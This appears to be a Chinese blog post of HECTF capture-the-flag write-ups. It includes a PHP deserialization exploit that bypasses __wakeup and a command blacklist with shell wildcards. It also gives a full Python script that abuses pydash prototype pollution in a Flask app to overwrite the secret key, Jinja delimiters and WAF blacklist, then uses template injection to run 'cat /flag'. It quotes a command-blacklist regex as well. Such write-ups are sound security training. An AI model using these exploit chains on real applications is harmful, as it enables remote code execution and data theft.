HECTF

Are u happy

直接搜HECTF{编码后的字符串就行.

baby_sql

sqlmap一把梭,说是有waf试了半天实际没有.

baby_unserialize

<?php


error_reporting(0);

show_source(__FILE__);
echo "flag in /flag</br>";

class User{
    public $name;
    public $passwd;
    public $msg;
    public $token = "guest";
    public function __construct($name,$passwd){
        $this->name = $name;
        $this->passwd = $passwd;
    }

    public function __wakeup(){
        $this->token = "guest";
    }

    public function __destruct(){
        if(!$this->check()){
            exit(0);
        }else{
            echo $this->msg;
        }
    }

    public function check(){
        if ($this->token === "admin"){
            return true;
        }else{
            return false;
        }
    }

}

class class00{
    public function __call($a,$b){
        return 1;
    }
    public function __set($a, $b){
        $b();
    }

}


class class01{
    public $temp = 0;
    public $str3;
    public $cls;

    public function __tostring(){
        $this->temp = $this->cls->func1();
        if ($this->temp === 1){
            $this->cls->str1 = $this->str3;
        }else{
            echo "0";
            return "0";
        }

        return "have fun";
    }
}

class class02{
    public $payload;
    public function __invoke(){
        if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) { 
        system($this->payload." >/dev/null 2>&1");
        }else{
            die("fuck you Hacker");
        }
    }
}


if (isset($_POST["user"])){

    $user = unserialize(base64_decode($_POST["user"]));
}else{
    exit();
}

一个是要打php5.4去绕过__wakeup,另外就是绕过waf去RCE.exp如下

<?php
class User{
    public $msg;
    public $token = "admin";
}

class class00{
}


class class01{
    public $temp = 0;
    public $str3;
    public $cls;
}

class class02{
    public $payload;

}

$a = new User();
$a -> msg = new class01();
$a -> msg -> cls = new class00();
$a -> msg -> str3 = new class02();
$a -> msg -> str3 -> payload = "/bin/[b-d][a-c][s-u] /f[k-m]ag #";
echo serialize($a);

吐槽一下,为什么禁用nl但是没有/bin/nl文件
把数改大一下直接就能绕过__wakeup

你一个人专属的进货网站

app.py:

"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。
        第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞
        你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。
        w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2

app = Flask(__name__)

app.secret_key = os.urandom(24)
login = 0
user = None
class Users:
    def __init__(self, username, password,gender="secret"):
        self.username = username
        self.password = password
        self.gender = gender
        self.property = 0
        self.purchased = 0

class Apple:
    def __init__(self):
        self.price = 15
        self.inventory = 1000

apple = Apple()

def veryfy():
    if session.get('verify') == "admin":
        return True
    else:
        return False



@app.route('/')
def main():
    if not session.get('username'):
        return redirect("/login",302)
    else:
        return render_template("index.html")

@app.route('/login', methods=['GET','POST'])
def login():
    try:
        username = request.form['username']
        password = request.form['password']
    except KeyError:
        username = None
        password = None
    if username and password:
        global login
        global user
        login= 1
        user = Users(username, password)
        session['username'] = user.username
        session['password'] = user.password
        session['verify'] = "user"
        return redirect("/",302)
    else:
        return render_template('login.html')

@app.route('/admin', methods=['GET','POST'])
def admin():
    if veryfy() == True:
        render_html = """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>你好admin</title>
        </head>
        <body>
        
        当前管理员账户的用户名:%s  </br>
        剩余苹果数量为:%d </br>
        <a href="/stock"><button>重新进或1000苹果</button></a>
        
        
        </br>
        <a href="/"><button>主页</button></a>
        </body>
        </html>
        """
        if WAF.waf(user.username):
            return """
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>NO,Hacker</title>
        </head>
        <body>
        <script>
            alert("No,Hacker");
            location.href = "/login";
        </script>
        
        </br>
        </body>
        </html>
        """
        else:
            return render_template_string(render_html%(user.username,apple.inventory))
    else:
        return render_template("admin_false.html")

@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
    if request.method == 'GET':
        if login == 1:
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return redirect("/login",302)
    if request.method == 'POST':
        try:
            key = request.form['key']
            value = request.form['value']
        except KeyError:
            key = None
            value = None
        if key and value:
            if key == "username":
                session["username"] = key
            elif key == "password":
                session["password"] = key
            set_(user,key,value)
            return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
        else:
            return "输入异常!"

@app.route("/purchase",methods=['GET','POST'])
def purchase():
    if request.method == 'GET':
        return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
    if request.method == 'POST':
        try:
            count = int(request.form['count'])
        except KeyError:
            count = 0
        if count != 0:
            if count > apple.inventory:
                return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>存货不足</title>
                </head>
                <body>
                存货不足,请等待进货
                </body>
                <script>
                    alert("存货不足,请等待进货");
                    location.href = "/purchase";
                </script>
                
                </html>
                """

            if user.property >= apple.price * count:
                user.purchased += count
                apple.inventory -= count
                user.property -= apple.price * count
                return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
            else:
                return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>金额不足</title>
                </head>
                <body>
                金额不足,请充值
                </body>
                <script>
                    alert("金额不足,请充值");
                    location.href = "/purchase";
                </script>
                
                </html>
                """

@app.route("/stock", methods=["GET", "POST"])
def stock():
    if veryfy() == True:
        apple.inventory = 1000
        return """
                <script>
                    location.href = "/admin";
                </script>
                """
    else:
        return """
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>权限不足</title>
                </head>
                <body>
                权限不足
                </body>
                <script>
                    alert("权限不足");
                    location.href = "/login";
                </script>
                
                </html>
                """

if __name__ == '__main__':
    app.run()

WAF.py

blacklist = [
    xxxxxxxx
]
def waf(strings):
    for temp in blacklist:
        if temp in strings:
            return True
        else:
            pass
    return False

可以看到在/admin路由下存在ssti逻辑,但是存在未知waf.而且需要伪造admin的session才能进入/admin路由.
发现在/setUserInfo路由下存在函数set_(user,key,value).由于存在注释#pip install -v pydash==5.1.2,查找响应漏洞发现是2024国赛赛题改编.
可以通过设置key为.__init__.__globals__.app.config.SECRET_KEY,value为123来修改session秘钥.
改完以后去打ssti,发现这waf防的像孙子似的.最开始发现防了{{}}{%%},于是打了一手原形链污染jinjia2标识符.

setUserInfo_data = {
    'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
    'value': "[["
}

response2 = requests.post(setUserInfo_url, data=setUserInfo_data)

setUserInfo_data = {
    'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
    'value': "]]"
}

response3 = requests.post(setUserInfo_url, data=setUserInfo_data)

回头一看发现()也被禁用了.突然意识到WAF.blacklist是可以被修改的,如果修改为一个字符串的话不影响for in遍历.
写成脚本

import requests

url = '8.153.107.251:32109'
login_url = f'http://{url}/login'
setUserInfo_url = f'http://{url}/setUserInfo'
admin_url = f'http://{url}/admin'

username = "[[g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()]]"
password = "lbz"

login_data = {
    'username': username,
    'password': password
}

response0 = requests.post(login_url, data=login_data)

setUserInfo_data = {
    'key': ".__init__.__globals__.app.config.SECRET_KEY",
    'value': "123"
}

response1 = requests.post(setUserInfo_url, data=setUserInfo_data)

setUserInfo_data = {
    'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
    'value': "[["
}

response2 = requests.post(setUserInfo_url, data=setUserInfo_data)

setUserInfo_data = {
    'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
    'value': "]]"
}

response3 = requests.post(setUserInfo_url, data=setUserInfo_data)

setUserInfo_data = {
    'key': ".__init__.__globals__.WAF.blacklist",
    'value': "%"
}

response4 = requests.post(setUserInfo_url, data=setUserInfo_data)

session = input("Enter the session cookie: ")
# python3 flask_session_cookie_manager3.py encode -s '123' -t "{'username':'[[g.pop.__globals__.__builtins__.__import__(\'os\').popen(\'cat /flag\').read()]]','password':'lbz','verify':'admin'}"

cookies = {
    'session': session
}

response5 = requests.get(admin_url, cookies=cookies)
print(response5.text)

session直接用flask_session_cookie_manager去伪造就行.

posted @ 2025-01-10 07:25  colorfullbz  阅读(34)  评论(0)    收藏  举报